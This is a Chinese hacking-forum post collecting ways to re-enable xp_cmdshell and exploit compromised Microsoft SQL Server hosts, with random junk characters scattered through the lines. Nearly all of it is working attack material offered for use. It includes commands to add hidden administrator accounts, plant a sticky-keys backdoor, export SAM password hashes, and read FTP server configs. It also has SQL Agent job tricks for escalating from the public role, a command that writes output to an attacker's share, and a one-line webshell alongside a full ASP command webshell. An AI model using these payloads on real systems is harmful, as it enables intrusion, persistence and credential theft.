找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2221|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
; C# M2 g1 b" E9 G2 q恢复方法:查询分离器连接后,9 T2 u0 M7 d6 j
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 6 U0 O% t. L( L2 M) M( C) e. v
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' $ _/ M7 p- y5 f$ J$ J2 U. O
然后按F5键命令执行完毕) c4 S3 q7 t" [, c6 @3 s
( q8 T  t3 W8 Q- S$ r4 H( Y- i
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)/ t+ d. s" y+ W$ H. X
恢复方法:查询分离器连接后,
/ y3 n: l0 m3 @0 S# D) A2 ^  m第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
0 o+ H! h5 j, P6 h8 S第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
! s3 v; G5 q  `- L% @4 i4 h% ?然后按F5键命令执行完毕
& m: O; n  z# N. o2 F& u2 C, \; y& ?  i& L5 q
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)7 E& I1 J9 C; l. h; a3 v0 ~; ?
恢复方法:查询分离器连接后,
1 H0 Q. j; |. V第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
1 S- Q! P- {4 u+ Y* ~( M  Z第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       ' _+ O* x$ k4 z5 y  s3 q1 d
然后按F5键命令执行完毕
# B- R/ m& R) O! _6 ?
9 L; @+ ~( T, v4 K4 终极方法.
- d" ^  y( j8 n) y4 J  |0 Y如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:- d# E' [. G6 v/ r3 E
查询分离器连接后,1 X* X0 s8 U1 r. F, i" Z
2000servser系统:
. B% n/ Y. `: ], Y/ Adeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
  X* p( M! j3 L7 m5 a4 w# w5 z0 b7 ~( _7 L6 _
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
; ?1 \6 l: y6 M1 x4 l/ R: F" ^* Q* r! U8 \$ v
xp或2003server系统:5 y+ g. d9 k7 Z" g1 a; h4 u9 N- _

" n% I( J' p; f# V; S' Sdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
5 F! u! `5 v5 ^/ T9 K) W3 h
) [. ?  n, C& f) {' Ydeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add') _6 L- A# L$ i& f) J& e6 ]* U
+ v( K: O( \4 I$ ~5 |7 q
+ P" e7 j0 Z) ?
五个SHIFT- V9 I# x0 ]2 ^9 ~
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
9 J5 ?, [" d( g, y2 R9 T+ [. u$ J' K) q/ L* f: S
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
( ]0 c( n" p) Y. S5 i: l4 o# u- U1 {  g7 r
xp_cmdshell执行命令另一种方法2 J% P  T' q" p1 x
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
; Y) n$ I: G( S7 |- g8 H! |% j2 _& E7 D* y, J: I  f0 I  [
判断存储扩展是否存在
4 I: H' W5 x, jSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
3 ]9 h- x+ f. `  ?+ M- i返回结果为1就OK
! m$ m$ J6 U( x6 c* `' C
% [7 K% a" v0 ^+ X2 x
$ I" M: ?! l& ?4 ]9 {上传xplog70.dll恢复xp_cmdshell语句:3 {0 \, v- E$ u7 @- g
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'6 e. ]! a2 D8 g8 u  m( {
+ ?; W5 |& L( i; d* \
否则上传xplog7.0.dll+ Y# f# t! U) P- D" r8 ^
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
7 h, `: _+ v' P
, |: W: D9 R" \5 l$ U  [& c; P7 x" q, ?/ W2 K- X- E
+ O  i& ~8 k3 \8 c
首先开启沙盘模式:
% {$ _2 T  y5 T) c0 K& ?. a( Vexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
) n. C" o0 {  N- O; S! s2 F! _+ W1 H. d, x- h$ |' ?: t8 n! M
然后利用jet.oledb执行系统命令2 b8 P6 _& `: Q; e
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
7 y! g3 C" X: T3 B5 A$ V3 h  s返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
7 Y7 m1 A' ?0 C; g7 Y* I; I, R  ?
, G. w6 q: c4 s4 w& p2 C+ Z9 W4 d9 p( f; i; T. V/ E1 U

7 r; u* ?. n; I# B/ {- I恢复过程sp_addextendedproc 如下:
# R% B+ Z9 h7 s8 l, Ecreate procedure sp_addextendedproc --- 1996/08/30 20:13
0 L1 b# n! O# Q9 D. a& k: |@functname nvarchar(517),/* (owner.)name of function to call */
9 S3 A* q( F2 r" o: `( E9 J& X3 g! m@dllname varchar(255)/* name of DLL containing function */   M4 ^0 @+ n- G5 I
as ' p4 ?9 _; J' W* b8 D. t
set implicit_transactions off % Y- L) y0 v1 }/ e! Q* b
if @@trancount > 0
1 y9 u& C' ]0 }6 k" r( K) B$ k& xbegin
5 V$ _3 l& d1 n, b( f3 R3 jraiserror(15002,-1,-1,'sp_addextendedproc')
' j& l& K7 |! [, rreturn (1) ( u' B3 E0 [$ ]' V) I$ M# O
end 3 C/ K( e. p& P
dbcc addextendedproc( @functname, @dllname)
6 q! j9 G# ~+ k4 Greturn (0) -- sp_addextendedproc
# ~1 U9 X  C+ ~) Z6 AGO
  V* p: z) F4 `' F, g% M3 `4 B% G) Q$ i+ y& R/ T- u% p
6 n% z# i% m1 {. L1 a
+ ]- w) l, a8 R
导出管理员密码文件  ~! }4 d7 f; F2 ^) t( K; ^: _3 f5 @
sa默认可以读sam键.应该。
! E! i! \4 A- V6 g: hreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
1 L% s1 U( K5 T/ J- b* vnet user administrator test: ~$ g- ~* E% w- x+ n. X/ c
用administrator登陆.6 D5 }9 F9 ?$ |) [: b
用完机器后( _* J* Y1 l& G/ O' z2 O9 p
reg import c:\test.reg5 |4 w: j9 b* w0 X/ s9 V5 s# i
根本不用克隆.
$ Q0 D2 x" Q# |* P( U找到对应的sid. 7 E2 N, R! {0 F- Q

/ Z) P: d9 b# s5 o: A8 ]8 J- i, ^, s9 S  T

5 w9 T2 C% O$ \2 z. w恢复所有存储过程! p- x+ S& n/ ]& T3 \
use master
& ^- d( Y/ R0 Nexec sp_addextendedproc xp_enumgroups,'xplog70.dll' 3 L/ B+ P! }9 z6 t2 r' g# ^
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
3 m; b5 x! g( Q7 |exec sp_addextendedproc xp_loginconfig,'xplog70.dll' ; T, l- u3 C4 I/ p8 r& i' V
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' , l  x3 q1 Y& k" }6 Q: M
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
+ T) i3 O! _" F% f" hexec sp_addextendedproc sp_OACreate,'odsole70.dll' * Q$ E+ Z5 u  S0 ?/ I7 _2 }* Z
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
1 S" C( g) A; H& C! C3 Cexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 1 x7 @/ d, Z" |6 m1 p
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' ) k0 s/ M7 S& @4 _+ u2 j7 N- v
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
% y& x  N( m$ q) e  M: _exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
/ m; G8 e6 |" M7 w9 T$ A. ^( Texec sp_addextendedproc sp_OAStop,'odsole70.dll'
2 u' G) F8 s; v3 ?" G5 h1 e# Vexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' * O4 |7 e4 f. |" u
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 8 m. w5 D4 d* U* J4 d
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
% ?; @8 D6 ]: C0 A7 _" c& [3 D2 e) b5 @exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' ' u8 z! p* p3 n  F3 Y. z
exec sp_addextendedproc xp_regread,'xpstar.dll'
! n% d4 W4 g3 U' l( Texec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' , W  V% x7 K; @& L: R0 q5 [* l
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
  p- t& ~) a! X; \- w6 Wexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
# x; Q  y& b2 ~7 {, F6 ]
) Z# M+ p: T- R7 t4 Y/ X! `5 k/ J6 X
建立读文件的存储过程7 f* L! i& t* a4 B
Create proc sp_readTextFile @filename sysname1 Z& j9 O5 t/ h; F+ _; q
as
' M  U, \7 F; z% g% I; F" {+ p9 E. h9 [' R& P1 A
    begin 3 l+ k  ?& v' L2 K- k$ M1 M8 V
    set nocount on
3 x  O, d9 x- X6 |0 H" p* c- ~' B    Create table #tempfile (line varchar(8000))
/ m# \; ^( K- |" A: _2 t    exec ('bulk insert #tempfile from "' + @filename + '"')
% p) Q- t& A! ^& Z3 C* O) D. V    select * from #tempfile2 H! H8 e2 k% u- e9 ^9 H8 H8 n
    drop table #tempfile
, X: w. W8 v4 Q+ k2 }End$ V/ E* v( p! D6 [' ?1 e

0 B4 V/ h$ s- v0 w" T& o, G4 Iexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
# I6 R- Q, ?: q7 s查看登录用户' w) ~8 U- J/ a& f1 y- P% w
Select * from sysxlogins9 q6 L! d- Y- P4 S4 p

& s# D5 [* l0 b! b+ }6 m) F( t把文件内容读取到表中, f# z1 I8 @, E( t
BULK INSERT tmp from "c:\test.txt"
  c8 z/ _# ]" F* ?dElete from 表名 清理表里的内容
5 q( w0 P0 Q1 R' G' I" Q9 [create table b_test(fn nvarchar(4000));建一个表,字段为fn& X  t" g* a& p/ O* P+ m" E
# |5 r% ~9 y4 L) b* y2 e6 y# }7 G  d
& a! P$ a& V; O) T( b
加sa用户
& O5 D8 ^- H7 C' U* I/ }exec master.dbo.sp_addlogin user,pass;
5 O7 Y) I) `. O8 r2 {exec master.dbo.sp_addsrvrolemember user,sysadmin$ W, J) F! H; w  ?( U# @
8 d' h6 \, P1 _
; }( B# [" k8 F6 {. v3 O
$ g. \% T/ j  e( E4 L
读文件代码+ J. [0 Z. {# j' a5 w9 T3 \
declare @o int, @f int, @t int, @ret int
: Z0 b/ C5 Z" e9 Q9 S& mdeclare @line varchar(8000)
3 m1 E3 ]/ g* i- Y  F$ cexec sp_oacreate 'scripting.filesystemobject', @o out
5 }- a& I- x- P) }! Texec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1: @( P3 P. \0 e9 X( _) l; {( K
exec @ret = sp_oamethod @f, 'readline', @line out
7 C. _" ^+ G; u5 X5 Swhile( @ret = 0 )
/ ~" B/ ?( g, f. e6 ?, ^7 ~begin
3 B6 Z# a  y# o2 V: f: Gprint @line
8 ]# d' t4 h8 P' S: wexec @ret = sp_oamethod @f, 'readline', @line out
% t: H9 w3 z! hend
' V" |: j4 r$ z6 _6 I
3 ]- b  O) y7 `: n3 W
: W. d' {$ U2 {1 C' l写文件代码:. e  e3 w6 e7 V( X, S
declare @o int, @f int, @t int, @ret int
8 G/ s% u$ F9 Yexec sp_oacreate 'scripting.filesystemobject', @o out
( O+ H4 ?- B1 Fexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
% [: E' d: K, h+ \9 w) Texec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
4 W8 A. E" V7 `, h: ?' A# e* W! t
4 j% ]: M" h3 }( b
添加lake2 shell6 r1 X5 Q+ o! }: J6 d* t
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'. G, {1 g. N4 ]9 G% ?
sp_dropextendedproc xp_lake2/ [8 I* J: h3 L/ |; M- H/ b
EXEC xp_lake2 'net user'. t0 k( t5 Z0 V) Q+ Y7 ~

6 G* A" \6 ~+ E) h
# }! [3 D0 N1 w  R% O得到硬盘文件信息
8 d  U1 H* I0 u! A& R0 ]; j--参数说明:目录名,目录深度,是否显示文件 ; J. w- q/ I' G. ~( u
execute master..xp_dirtree 'c:' 1 S( u) O; z! m  P( c6 H
execute master..xp_dirtree 'c:',1 5 ]6 k; p% `! q# z" R4 `. W* S9 n( f
execute master..xp_dirtree 'c:',1,1 # V8 F/ Q0 Q& I7 ^6 p! x

4 z" q  m1 o) j% a# X, q- P+ E) I8 D3 i
读serv-u配置信息1 F( L' B( t3 m0 k) i  _6 [& N. R
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'8 M2 ]1 J) J& K* i
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini': I, h  A6 O2 Z& h. ]
/ m& j, R; R9 }4 ^6 z5 f
通过xp_regwrite写SHIFT后门
6 U, y* e% a2 S$ n6 l( oexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--  S' }! m9 [) N9 D7 \

! a8 }' C& q0 {: V9 h2 S2 R2 h# U
* o' [" W% ~% u( X- e8 O2 T5 F: Q( D. _4 U! X2 c) p
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';9 s; Q0 }/ i, b3 @- i1 t4 ~
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
4 L, q' Z: H5 d8 @
8 Y7 g: L9 h2 AEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
% t6 _" ]! _  k9 |4 S, J- U+ |5 q+ D

4 i8 ]" y" g  m+ n6 z! X2 l1 B0 ^4 G2 I( m! o* g
sql server 2005下开启xp_cmdshell的办法6 T, I  c! t" i
3 T' X0 t% v! @  M1 q  T4 Y
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
& {& p: M, r6 K& Z8 R  g; u6 a3 b$ Q( G" o2 M3 m5 h: {7 H
SQL2005开启'OPENROWSET'支持的方法:0 x/ B; g) P2 ]: `1 M& P) [9 S
% h+ Q) d4 |% `  O+ H" P
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;4 F8 l8 n$ ?8 u* E9 g& O" a8 Z9 D
) I. T4 Y; B: P; B  Y7 q) |; S8 E2 V
SQL2005开启'sp_oacreate'支持的方法:
" l- |& Y% l) K# z6 e6 R6 i+ O0 h* e
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
% @5 y$ C1 A6 \3 C  `& P3 r! a. L5 v/ ^- _) f( e; m4 o
: E. P8 o/ Q' R' Z( k2 Y
. N, _2 V  G8 ?0 s

5 K, t. b( o; |  `  n: o0 Q) n  B' K1 A: Q$ z/ W. o
% P! r, g- m; V5 O

6 Q6 m! ^* y6 v7 [; ?4 c% c/ k9 s1 Y. ?$ }5 q9 J6 T
) U  ?$ s2 f+ H# ^. [, R7 Q
/ C  s( N+ G, @! L5 K
+ ?+ L3 S& q- j% L7 X
* j. @2 l5 @' B* q, h
" j, B3 S' D0 Y: e2 ~
2 t7 `1 k0 H, g  }5 v  h% W
5 }" ?3 l$ A$ Z* s+ ^, M2 @

; W- q8 y4 l  d6 |% @$ f: P' L
/ e  B0 l" H* b$ H( n/ [' w. J5 f0 i3 a  {! J2 X
" L; U( g  r( H( f& G

: k- N* i8 {  e
. O7 R5 A( y% I+ e/ ]" o: D" l/ D& M. I3 F$ a- ]! }0 e4 V

% j- x' Z: a1 r1 M% t$ {1 Z
( _8 _: J. Z" L! A0 P, R( E. J以下方面不知道能不能成功暂且留下研究哈:
# J& n" k  [) a% n4 z4)
' d5 t3 l( u' W& C) nuse msdb; --这儿不要是master哟
; K+ p# L9 H& J. w3 H" Zexec sp_add_job @job_name= czy82 ;
  J  z" m3 ]4 Q* Y! fexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
9 z1 D9 l9 d$ ?exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
% {" o* y* q2 g$ Q0 U" {exec sp_start_job @job_name= czy82 ;
, z8 J$ S- [3 Z3 U
5 @' R3 B( b. N8 J# y利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以, N7 v2 P, S4 D
执行tsql语句了.: o3 V& k0 Z0 B* P4 @" H  `; r
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
6 t. |* M8 f6 N" R) k& x3 D第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
) N  _1 W8 X# U# `/ Snet start SQLSERVERAGENT) X! \7 ]7 g5 v/ x4 s  W( h

* s+ o. a" h! m  i) }# w对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的! q' R- \' t* Z1 W; ]: ?
USE msdb
% J, g9 q' _+ X$ J4 PEXEC sp_add_job @job_name = GetSystemOnSQL ,
9 u0 I% i% z3 ^: D/ I0 f@enabled = 1,! J1 y! i8 U+ S( i
@description = This will give a low privileged user access to) q* j" @+ F1 H: Y; \
xp_cmdshell ,4 B' x! c+ U; ]: e" T& t5 ~+ V
@delete_level = 1
/ [7 W5 n/ }/ b. f& j% v$ t6 yEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
8 ^- w; J! {4 F$ E2 |7 ?! D@step_name = Exec my sql ,
# R  p1 d; x* w% Y0 Z@subsystem = TSQL ,
- G( ?, X, \/ u8 n+ s) G@command = exec master..xp_execresultset N select exec0 K9 L! E3 x, L1 j5 t* f$ D
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master ( k8 c. O! E8 r* h2 F! n
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
" h( b9 Q% G- P. D@server_name = 你的SQL的服务器名 8 E9 T- |3 t4 a, M: g
EXEC sp_start_job @job_name = GetSystemOnSQL
2 ?" c+ O/ ], F6 Y5 q
7 C9 f1 J  `1 t' c$ O不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以- J- \2 T& z! O8 `2 `1 ?4 n
才让我们可以以public执行xp_cmdshell0 q+ h4 k) E% `, Z

7 x# b+ K/ r# `, u5 t5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
. R( |7 \7 o4 T. T6 Q在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
+ A/ H$ r) p, _; G+ e1 n* n% U) I6 {/ U3 W$ @+ ~: m8 x; I
USE msdb
* V) b# o! h) o" y7 Q& C! o& |  V' B6 ^EXEC sp_add_job @job_name = ArbitraryFilecreate ,- k! `9 k7 B/ [  P7 R  ~6 v  N
@enabled = 1,& P$ K3 ^  P/ i$ \
@description = This will create a file called c:\sqlafc123.txt ,4 e% H. ~. P4 ~- o; ]2 ^
@delete_level = 1) ?  N* {! o( T% v( s# p+ C4 T
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,: R) S& ^! f4 B
@step_name = SQLAFC ,4 Q$ g: _  K) Z$ U; N
@subsystem = TSQL ,
! ?7 W5 G+ E2 Y" s. o0 k: f@command = select hello, this file was created by the SQL Agent. ,
  M$ [& l8 P2 }' @@output_file_name = c:\sqlafc123.txt ' Z. d$ K/ }4 x: |8 j( B
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
# p! }& q( x5 `: t@server_name = SERVER_NAME
: Y& f3 y4 u. TEXEC sp_start_job @job_name = ArbitraryFilecreate
! g- N  Y5 O0 v- v8 o+ M
4 m9 q0 w! ?7 i% S5 |3 M如果subsystem选的是:tsql,在生成的文件的头部有如下内容- K2 O/ T+ u) d2 a; }: [+ l
, l+ Q% l; \) J* E; s
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
# C5 N. w+ R! {' J( O----------------------------------------------
) v* q5 P) m! N. Q( |hello, this file was created by the SQL Agent.- \# |) }; V& ^; M( ~, @2 Y0 e7 _

. M* x5 h7 L. ~1 S1 _(1 ?????)4 o# h8 ^( N2 z( C4 C$ }5 I8 v
, R8 f2 T0 b7 o; a
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
, |' w& k) b$ o. h# y7 r命令的vbs文件到启动目录!
# E) N# L& ^3 ^% S$ Y& x2 S6 I
' w: o. r$ O  |* \' ^0 B6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
& ^2 l# J  ?4 m3 F& I2 k/ Y关于sp_MScopyscriptfile 看下面的例子
4 G/ C2 D- e* H9 r: x3 Bdeclare @command varchar(100) 1 I9 m+ V/ e8 T
declare @scripfile varchar(200) : W5 |) ]4 h0 |& p+ K# ^- X
set concat_null_yields_null off 1 M3 x' f, Q/ E* E7 X6 f  o
select @command= dir c:\ > "\\attackerip\share\dir.txt"
6 d" N) j6 v: |7 h( aselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
4 d: t# Y( P) E1 d" k' V, uexec sp_MScopyscriptfile @scripfile ,
5 _3 d) G8 p2 ~7 d8 P, }% f4 X9 X0 i
这两个东东都还在测试试哟! i6 ~- y! ~, B, o
让MSSQL的public用户得到一个本机的web shell
8 x0 v$ D' n! q. c3 u$ u
  ^! o' ~3 _$ L" F8 Qsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
6 i* M) u3 u% \5 O  D* e$ E--@query= select <img src=vbscript:msgbox(now())> . M# y- w" q; @5 o
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
( }1 C# w% w& g+ J@query= select
9 J3 n+ h. b/ e<%On Error Resume Next
: C% [, h! }5 ^0 K9 b& X8 iSet oscript = Server.createObject("wscript.SHELL") ; Q5 Z6 s* a2 G0 ?9 q
Set oscriptNet = Server.createObject("wscript.NETWORK") + b5 R6 M2 ~  j2 O
Set oFileSys = Server.createObject("scripting.FileSystemObject") 1 Z! L$ p8 ?+ C. X& a% U3 H
szCMD = Request.Form(".CMD")
! K+ w0 t' ]# }8 FIf (szCMD <>"")Then
4 e& i% H& O9 F$ ~szTempFile = "C:\" & oFileSys.GetTempName()
; Z0 @0 K- g" a8 BCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
8 m0 z/ ^% J  m: l. e+ r) bSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
" F9 {* k/ n/ I' g1 U+ _" tEnd If %> & l$ k( j1 n4 r. d
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
, v+ ~, R2 Q% Y5 D  k<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 8 \- \; o9 [" h: l
</FORM><RE> 1 t1 L! u4 k. S7 Y" q% R) w
<% If (IsObject(oFile))Then
0 ^8 h2 X2 B" M0 ~On Error Resume Next ; U- q! t0 T: e3 u: T) r) x6 e
Response.Write Server.HTMLEncode(oFile.ReadAll) " |- X6 |# J3 q7 X
oFile.Close ! F6 L6 {8 Q- x; j
Call oFileSys.deleteFile(szTempFile, True) + q! U' e  Y' Y8 c
End If%>
4 C, G! q# }: f+ I1 K" L</BODY></HTML> " r. Y) R/ `/ P) ^6 F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表